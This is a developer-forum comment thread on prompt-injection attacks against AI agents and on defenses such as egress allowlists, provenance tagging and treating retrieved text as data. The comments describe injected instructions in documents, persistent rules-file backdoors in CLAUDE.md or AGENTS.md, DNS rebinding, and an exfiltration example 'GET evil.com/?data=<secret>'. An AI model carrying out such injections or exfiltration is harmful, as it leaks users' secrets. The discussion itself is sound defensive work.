DEV Community

Cover image for Your AI Agent Trusts Everything It Reads — A Field Guide to Hijacking Claude, GPT, Gemini & Copilot

Your AI Agent Trusts Everything It Reads — A Field Guide to Hijacking Claude, GPT, Gemini & Copilot

Rudratosh Shastri on November 01, 2026

A README file in your ~/Downloads folder should not be able to expose your SSH keys. A calendar invite should not be able to trigger actions in you...
Collapse
 
shuttlewright profile image
Shuttlewright •

One framing worth adding to the trifecta: the three ingredients are not symmetric in removal cost. Access to private data is why the agent exists, and exposure to untrusted content is the job - neither is really optional. The outbound leg is the only one that is cheap to gate: network allowlists on tool calls, no auto-rendering or auto-fetching of URLs the content itself supplied, and human approval the first time a session touches a new external destination. Most of the catalog here needs that third leg to hurt you. Second: the trifecta reads as a per-session property, but it assembles per action. A session that started clean becomes lethal one tool result later, when the thing it just read starts steering the next call. Provenance that follows content through the context - flagging which tool arguments were influenced by untrusted text - is what turns "split the trifecta" from a design slogan into a check that can actually run at the moment it matters.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

the three ingredients are not symmetric in removal cost ... the trifecta reads as a per-session property, but it assembles per action.

Both of these are sharper than the article, and the second is the correction I'd fold in if I could keep only one. Removal cost is asymmetric: private-data access and untrusted-content exposure are the product — the outbound leg is the only cheap one to gate (network allowlists on tool calls, no auto-fetch of content-supplied URLs, approval on first touch of a new destination). Most of the catalog dies if that third leg is controlled.

And "it assembles per action, not per session" is what turns the trifecta from a slogan into something enforceable. A clean session goes lethal one tool result later, when what it just read starts steering the next call. That's exactly why provenance that follows content through the context — flagging which tool arguments were influenced by untrusted text — is the check that fires at the moment it matters, not a static "does this agent have all three." You've stated the per-action version better than I did. Mind if I quote this framing, credited, if I expand the piece?

Collapse
 
heyvaldemar profile image
Vladimir Mikhalev •

Per action is where the check holds up against a real model. The tool server sees every call's arguments, whatever shaped them. In one eval suite the shipped model acted on an instruction hidden in a quarterly report six times out of six, and nothing left.

Two layers held it. The model server builds a grammar from each tool's schema, so an address outside @acme.example cannot be written. With that pattern hidden from the model, Granite tried an outside address 37 times in one run, and the MCP server refused all 37.

So the release gate reads the outbox and counts what was delivered outside, never how often a model was fooled. That count moves with every model swap. Delivered stays at zero.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

the release gate reads the outbox and counts what was delivered outside, never how often a model was fooled. That count moves with every model swap. Delivered stays at zero.

This is the sharpest thing in the whole thread. Two moves and both matter:

Grammar from the tool schema so an address outside @acme.example is unrepresentable — Granite trying 37 times and the MCP server refusing all 37 is the ideal shape, because the model's gullibility became irrelevant to the outcome.

And the metric: count what left, not how often the model was fooled. Fooled-rate is a property of the model and churns on every swap; delivered-outside is a property of the boundary and stays at zero if the boundary holds. You've described exactly the invariant a release gate should assert — the agent is allowed to be wrong as often as it likes, as long as nothing crosses. Mind if I cite this framing if I expand the piece?

Thread Thread
 
heyvaldemar profile image
Vladimir Mikhalev •

Cite it, yes. Put one caveat next to the grammar half, because it reads better than it is.

The grammar turns an attempt to send outside into an email inside the company. Of Granite-4.0-1B's 16 emails to colleagues nobody asked for, 13 kept the outside name with the company's domain: bob.k@gmail.example arrived as bob.k@acme.example. The count of attempts outside reads zero, and the data still reaches the wrong person.

The 37 refusals come from the job with the patterns hidden from the model, and delivered outside is zero in both. The table and both run links are in ADR 13.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

bob.k@gmail.example arrived as bob.k@acme.example. The count of attempts outside reads zero, and the data still reaches the wrong person.

That's the caveat that has to travel with the metric, and I'm glad you caught it before I quoted the clean version. "Delivered outside = 0" is necessary but not sufficient — the grammar closed the egress-off-the-domain leg while leaving the wrong-recipient leg wide open, and 13 of 16 walking straight through it means the control mostly relocated the leak rather than stopping it. So the release gate needs a second axis next to delivered-outside: was this recipient authorized for this data and task. An internal mis-send is still a disclosure; the company boundary was never the real boundary, the authorization was. Reading ADR 13 now — this is the honest version and it's the one worth citing.

Collapse
 
analista_83 profile image
Sammi De Blas •

The part that matters for detection is that the injected instruction arrives through a channel the agent already trusts, so signature-based rules never see it. Filtering at the retrieval layer and a hard allowlist of tools are the only controls that hold when the model is the executor.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

the injected instruction arrives through a channel the agent already trusts, so signature-based rules never see it.

Right — that's why the signature/regex layer is structurally the wrong tool here. The payload isn't malformed; it's a perfectly ordinary sentence arriving through a channel with trust already granted (a retrieved doc, a tool result, a README). There's no signature because there's no anomaly at the byte level. The two controls that survive the model-as-executor are the two you named: filter at the retrieval boundary (what's allowed into context) and a hard tool allowlist (what the model is permitted to call, regardless of what it was argued into). Both act on structure the attacker can't edit, which is the only ground that holds.

Collapse
 
analista_83 profile image
Sammi De Blas •

Right. The check should sit at the tool boundary, where the output is measured, not in the text layer.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

The check should sit at the tool boundary, where the output is measured, not in the text layer.

Exactly — the text layer can only guess what a call will do; the tool boundary is where the actual effect is observable and stoppable. Grade the side effect, not the narration that led to it.

Thread Thread
 
analista_83 profile image
Sammi De Blas •

Log the tool call and its argument hash, not just the verdict. That keeps the side effect auditable later.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

Log the tool call and its argument hash, not just the verdict.

Yes — the verdict is narration, the call-plus-arg-hash is the receipt. A verdict can stay green across two runs while the arguments underneath it drift, and you'd never see it; the hash is what makes "same decision" actually checkable instead of asserted. One addition that pays off later: tag each argument with its provenance — whether it was shaped by untrusted retrieved text — so the log answers both questions at once, what did it do and what steered it. Then an audit can reconstruct not just the misfire but the sentence that caused it. Do you hash the whole arg object, or canonicalize first so a reordered-but-identical call doesn't read as a different one?

Collapse
 
stefan_07d23f966225156b50 profile image
Stefan •

Vladimir's follow-up changes what I'd measure here. An email to the wrong colleague is still an unauthorized disclosure, even if nothing leaves the company. I'd test whether the recipient was authorized for that specific data and task, and keep approval for one send separate from permission to send anything to that address later.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

An email to the wrong colleague is still an unauthorized disclosure, even if nothing leaves the company.

Exactly the axis heyvaldemar's domain-swap result exposes — the grammar drove attempts-outside to zero while the data still landed on the wrong internal desk, so "stayed in the company" measured the wrong thing. Your two tests are the fix: authorize the recipient for that specific data+task, not just the domain, and keep one-send approval separate from standing permission to that address. The second one matters more than it looks — collapsing "you may send this now" into "you may send to this address" is how an approved one-off becomes a durable channel the next injection reuses without asking again.

Collapse
 
vinmay profile image
Vinmay Nair •

I've been exploring something similar with Reachscan by tracing which capabilities are actually reachable from an agent's tool entry points. Even if a prompt injection gets through knowing whether there's a reachable path from reading secrets to making outbound requests could help identify the risk before deployment.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

tracing which capabilities are actually reachable from an agent's tool entry points... whether there's a reachable path from reading secrets to making outbound requests.

That's the pre-deployment complement to runtime provenance — static reachability answers "could this ever leak" before an attacker gets to ask "did it." If there's no reachable path from secret-read to an outbound sink, the injection has nowhere to go no matter how cleverly it's phrased, and you've removed a trifecta leg structurally instead of defending it per-request. The two layers compose well: reachability prunes the graph at build time so the runtime taint layer is guarding a smaller, known surface. The hard part is usually the implicit edges — a "read-only" fetch that reaches the network (see mudassirworks' thread here) is exactly the kind of sink a reachability pass has to count as outbound even though its name says read.

Collapse
 
mudassirworks profile image
Mudassir Khan •

the point that structure is not a security boundary and the app has to enforce authority outside the model is the one most teams skip. we put the permission check in the tool executor, keyed on tool plus normalized args, so a hijacked plan still cannot call something the user never granted.

the gap that still worries me is read only tools acting as the exfil channel, like a fetch that takes a url the model builds. do you treat outbound reads as writes in your checklist?

Collapse
 
rudratosh profile image
Rudratosh Shastri •

the gap that still worries me is read only tools acting as the exfil channel... do you treat outbound reads as writes in your checklist?

Yes — unconditionally. The read/write label describes the tool's intent; it says nothing about its exfil capacity. A fetch(url) where the model controls the URL is a write channel wearing a read's name, because the URL is the payload — GET evil.com/?data=<secret> leaks just as cleanly as any POST. So the checklist classifies by "can the model put bytes into an argument that leaves the trust boundary," not by the verb. Any tool whose model-controlled arguments can reach an outbound destination is gated as egress, full stop — DNS lookups and image fetches included, since both smuggle data in the hostname/path. Your tool-executor check keyed on normalized args is the right place for it; just make the key include the destination, not only the tool name.

Collapse
 
mudassirworks profile image
Mudassir Khan •

classifying by what can leave the boundary instead of by the verb is cleaner than how i had it. my executor key was only tool plus args, so a fetch with a model built hostname would pass as long as the tool was granted. adding the resolved destination to the key closes that. do you pin allowed hosts per tool, or resolve per call and check a deny list?

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

do you pin allowed hosts per tool, or resolve per call and check a deny list?

Allowlist per tool — and it's not really a toss-up, because the two options fail in opposite directions. A deny list fails open: it can only block hosts you already named, and the space of hostnames a model can construct is infinite, so the first novel exfil domain it invents isn't on the list and sails through. An allowlist fails closed: an unknown destination is refused by default, which is the behavior you want when the thing choosing the destination may be hijacked. Most tools talk to a small fixed set anyway, so the allowlist is short and the model-built hostname simply isn't in it.

But "pin per tool" and "resolve per call" aren't alternatives — you need both, because the host string isn't the thing that leaves, the resolved endpoint is. So the enforcement is: resolve the hostname, check the resolved IP against the tool's allowlist, then connect to that exact IP without re-resolving. Skipping that lets DNS rebinding walk right past a host allowlist — fetch an allowed name that resolves to 169.254.169.254 (or an internal service) on the second lookup, and the name matched while the packet went somewhere else. Pin the host set per tool; resolve-and-pin-the-IP per call to enforce it honestly. A deny list is fine as a belt-and-suspenders layer for known-bad on top, never as the gate.

The one tool that breaks this is a genuine open-web fetch that must reach arbitrary hosts — you can't allowlist its destination. That one gets the other control instead: treat its arguments as untrusted (no secret-derived bytes allowed into the URL) and its output as tainted. If you can't constrain where it goes, constrain what's allowed to go into it.

Collapse
 
analista_83 profile image
Sammi De Blas •

Agreed. A signature cannot see intent. The cheap fix is to treat retrieved text as data, never as instructions.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

A signature cannot see intent. The cheap fix is to treat retrieved text as data, never as instructions.

Cheapest, highest-leverage rule on the list. The entire class collapses the moment the model stops promoting retrieved content to instruction — no signature needed, because there's no privileged channel for the payload to reach. Signatures lose because they're matching form; the attack lives in intent, and intent reads as ordinary prose.

Collapse
 
analista_83 profile image
Sammi De Blas •

Treating retrieved text as data needs no classifier, so it scales. Signatures stay a second layer.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

Treating retrieved text as data needs no classifier, so it scales.

Exactly, and the reason it scales is that it's a category rule, not a pattern rule — it doesn't enumerate attacks, it removes the privileged channel, so it's immune to novel payloads by construction. Signatures scale with the attacker's imagination; the data/instruction split scales with nothing because there's no list to keep current. Signatures earn their keep only as the second layer you named, for the residue.

The hard case is the one worth naming: where retrieved text legitimately has to carry an instruction — an agent reading its own task file, a tool result that's meant to direct the next step. Where do you draw the promote/don't-promote line when the channel is sometimes authoritative by design?

Collapse
 
kielltampubolon profile image
Kiell Tampubolon •

One case where splitting the trifecta per session doesn't hold: the untrusted session can write a file that a later, privileged session reads as instructions. A README injection in a sandboxed session that edits AGENTS.md, CLAUDE.md, a rules file or a skill folder has nothing to steal today, but it leaves the instruction for the next session, the one that has the keys and the network. Same trifecta, spread over time.

I treat writes to those instruction paths as privileged: deny them in the agent's permission rules and review them like a CI config change, because that's effectively what they are.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

the untrusted session can write a file that a later, privileged session reads as instructions... Same trifecta, spread over time.

This is the sharpest objection to naive per-session framing, and it's a real attack class — the Rules File Backdoor. The trifecta doesn't have to assemble within one context; untrusted content can drop a payload into persisted state (CLAUDE.md, AGENTS.md, a rules file, a skill folder) and the privileged session supplies the data + network leg later, unwittingly. The sandboxed session "has nothing to steal today" exactly as the per-session model promises — and that promise is what makes the deferred version invisible.

Your mitigation is the right one and I'd frame it the same way: writes to instruction paths are privileged operations, denied by default in the agent's permission rules and reviewed like a CI config change — because an edit to CLAUDE.md is a change to what every future agent is told to do. The per-session boundary holds only if nothing in one session can rewrite the standing instructions of the next.

Collapse
 
mp3sss31 profile image
mp3sss •

The 'lethal trifecta' framing maps cleanly onto desktop apps: in Electron I treat every renderer-hosted document as untrusted input and keep the trust boundary at the IPC channel, so a malicious README can steer UI text but can't reach privileged APIs with contextIsolation plus a narrow channel allowlist. The same content-vs-instructions split applies inside the agent loop - I'd add that tool calls should fail closed unless the calling context is explicitly trusted, and that you log which content chunk was in scope when a call fires, so attribution makes these attacks visible in telemetry early.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

I treat every renderer-hosted document as untrusted input and keep the trust boundary at the IPC channel... log which content chunk was in scope when a call fires.

The Electron mapping is exact — the IPC channel with contextIsolation + a narrow allowlist is the structural twin of the tool boundary in the agent loop. A renderer can steer UI text all it wants; it can't reach a privileged API it was never granted. Same shape: the untrusted thing influences the content, never the authority. And fail-closed unless the calling context is explicitly trusted is the default most agent loops get backwards — they fail open and trust by proximity.

The attribution-logging point is the one I'd underline hardest: recording which content chunk was in scope when a tool call fired is what turns an invisible injection into a telemetry signal. Without it you see a weird call with no cause; with it you see "this call fired while that retrieved doc was in context," and the attack stops being deniable. That's the cheapest high-value instrument on the list.

Collapse
 
analista_83 profile image
Sammi De Blas •

Both controls that hold are structural: what enters context, and what the model may call. The rest is guessing at wording.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

Both controls that hold are structural: what enters context, and what the model may call. The rest is guessing at wording.

That's the whole post in one line. Everything that tries to defend at the wording layer is playing the attacker's game on the attacker's turf — infinite phrasings, one judge. The two structural controls win because they act on things the attacker can't edit: the ingress filter and the tool allowlist don't care how persuasive the injection is.

Collapse
 
analista_83 profile image
Sammi De Blas •

Good question. My line is source, not purpose: only files reviewed and hashed in the repo get promoted to instruction.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

My line is source, not purpose: only files reviewed and hashed in the repo get promoted to instruction.

That's the right line, and "source, not purpose" is exactly why it holds. Purpose is attacker-controllable; source isn't. Anything that reasons about what the text is trying to do can be talked out of its own rule by better-worded text — provenance can't be argued with.

The one thing I'd pin down is the promotion event: what flips a file from data to instruction — a merge to main, or a separate human sign-off distinct from the merge? If it's the merge, your instruction set is only as trustworthy as your PR review.

Collapse
 
analista_83 profile image
Sammi De Blas •

Canonicalise first: sorted keys and normalised types, then hash. Otherwise a reordered call looks like a new action.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

Canonicalise first: sorted keys and normalised types, then hash. Otherwise a reordered call looks like a new action.

Exactly — canonical form before hashing is what stops the reorder-as-new-action bypass. One addition: pin the canonicaliser's version alongside the hash. The day you change normalization rules (a new type coercion, a different key-sort), every historical action silently re-keys, and you can't tell a real change from a canonicaliser change. Version the serializer and you keep that honest.

Collapse
 
robertpaschal profile image
Odinaka Robert Nnamani •

splitting the lethal trifecta is the clearest fix in here, since a hidden instruction in a README has nothing to steal if that session holds no private data.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

a hidden instruction in a README has nothing to steal if that session holds no private data.

Exactly — that one sentence is the whole defense. The injection still fires; it just lands in an empty room. Break the trifecta and most of the catalog becomes attacks with no payoff.

Collapse
 
robertpaschal profile image
Odinaka Robert Nnamani •

The empty room image sticks because it reframes the win. The attack still runs, it just has nothing worth taking.

Thread Thread
 
rudratosh profile image
Rudratosh Shastri •

The attack still runs, it just has nothing worth taking.

Right, and that reframing quietly swaps the metric. "Did we block the attack?" is unwinnable — injection always fires. "What could the attack reach?" is architectural and answerable. So the number to report for this defense isn't detection rate, it's blast radius: given that the payload executes, what's in the room. You stop grading whether the attack ran and start grading what it could touch — and that's a property you design, not one you detect.

Collapse
 
vitaliy_dmitriev profile image
Vitaliy Dmitriev •

The article caused me to review and update configuration of my agents setup, thanks!

Collapse
 
rudratosh profile image
Rudratosh Shastri •

The article caused me to review and update configuration of my agents setup, thanks!

That's the best outcome I could ask for — glad it prompted a real config pass rather than just a read. If anything in your review turned up a gap the piece didn't cover, I'd genuinely like to hear it.

Collapse
 
paullovelace profile image
Paul Lovelace •

The asymmetry point from the comments stuck with me more than the catalog itself — private data and untrusted content are both the job, so the outbound leg really is the only cheap place to cut it. "Break the trifecta" sounds clean until you realise it reassembles per action, not per session. Do you actually gate egress per tool call in practice, or does that turn into approval fatigue the moment an agent does anything useful?

Collapse
 
shuttlewright profile image
Shuttlewright •

Per-call human approval does collapse into fatigue, so the workable pattern puts the per-call decision in the tool layer where a machine makes it, and reserves humans for policy changes. Concretely: egress allowlists enforced at the server or proxy level (destination plus argument shape, not just the tool name), so the steady state is zero prompts and a refused call is a log line, not a dialog. Humans enter only on first-seen destinations, and an approved one lands in the allowlist, so the prompt rate decays with use instead of scaling with it. Fatigue comes from per-event decisions; a policy decides per class. heyvaldemar's comment nearby is the same instinct from the measurement side - count what was delivered outside, not how often the model was fooled - and it pairs well: grammar-constrained arguments shrink what even needs gating.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

Fatigue comes from per-event decisions; a policy decides per class.

That's the line I'd put on the wall. The whole approval-fatigue objection dissolves once the decision moves from per-event to per-class: destination-plus-argument-shape at the proxy, humans only on first-seen, the prompt rate decaying instead of scaling. And you're right that it pairs with heyvaldemar's measurement point — grammar-constrained arguments shrink what even needs gating, so the allowlist is guarding a smaller surface to begin with. Constrain what's representable, gate the rest per class, measure what left. Three layers, no dialogs in the steady state.

Collapse
 
rudratosh profile image
Rudratosh Shastri •

Do you actually gate egress per tool call in practice, or does that turn into approval fatigue the moment an agent does anything useful?

The trick is that "gate per call" and "ask a human per call" are different things — conflating them is what creates the fatigue. The per-call decision lives in the tool/proxy layer and a machine makes it: an egress allowlist keyed on destination and argument shape, not just tool name. Steady state is zero prompts; a refused call is a log line, not a dialog.

A human enters only on a first-seen destination, and approving it writes the rule — so the prompt rate decays with use instead of scaling with activity. Fatigue is what you get when every event is its own decision; you kill it by deciding per class and letting the allowlist absorb the repeats. An agent doing useful work hits the same handful of destinations over and over, so after the first day it's basically silent.